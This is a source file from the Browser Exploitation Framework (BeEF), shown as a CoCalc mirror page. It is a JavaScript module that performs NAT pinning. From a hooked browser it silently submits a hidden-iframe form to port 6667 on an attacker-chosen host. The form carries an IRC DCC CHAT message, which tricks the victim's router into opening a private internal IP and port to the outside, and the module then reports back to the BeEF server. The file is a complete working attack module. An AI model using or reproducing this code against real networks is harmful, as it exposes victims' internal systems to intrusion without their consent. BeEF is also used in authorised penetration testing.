Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/network/nat_pinning_irc/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
var privateip = '<%= @privateip %>';
9
var privateport = '<%= @privateport %>';
10
var connectto = '<%= @connectto %>';
11
12
function dot2dec(dot){
13
var d = dot.split('.');
14
return (((+d[0])*256+(+d[1]))*256+(+d[2]))*256+(+d[3]);
15
}
16
17
var myIframe = beef.dom.createInvisibleIframe();
18
var myForm = document.createElement("form");
19
var action = "http://" + connectto + ":6667/"
20
21
myForm.setAttribute("name", "data");
22
myForm.setAttribute("method", "post");
23
//it must be multipart/form-data so the message appears on separate line
24
myForm.setAttribute("enctype", "multipart/form-data");
25
myForm.setAttribute("action", action);
26
27
28
//create message, refer Samy Kamkar (http://samy.pl/natpin/)
29
x = String.fromCharCode(1);
30
var s = 'PRIVMSG beef :'+x+'DCC CHAT beef '+dot2dec(privateip)+' '+privateport+x+"\n";
31
32
//create message textarea
33
var myExt = document.createElement("textarea");
34
myExt.setAttribute("id","msg_<%= @command_id %>");
35
myExt.setAttribute("name","msg_<%= @command_id %>");
36
myForm.appendChild(myExt);
37
myIframe.contentWindow.document.body.appendChild(myForm);
38
39
//send message
40
myIframe.contentWindow.document.getElementById("msg_<%= @command_id %>").value = s;
41
myForm.submit();
42
43
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Message sent');
44
45
});
46
47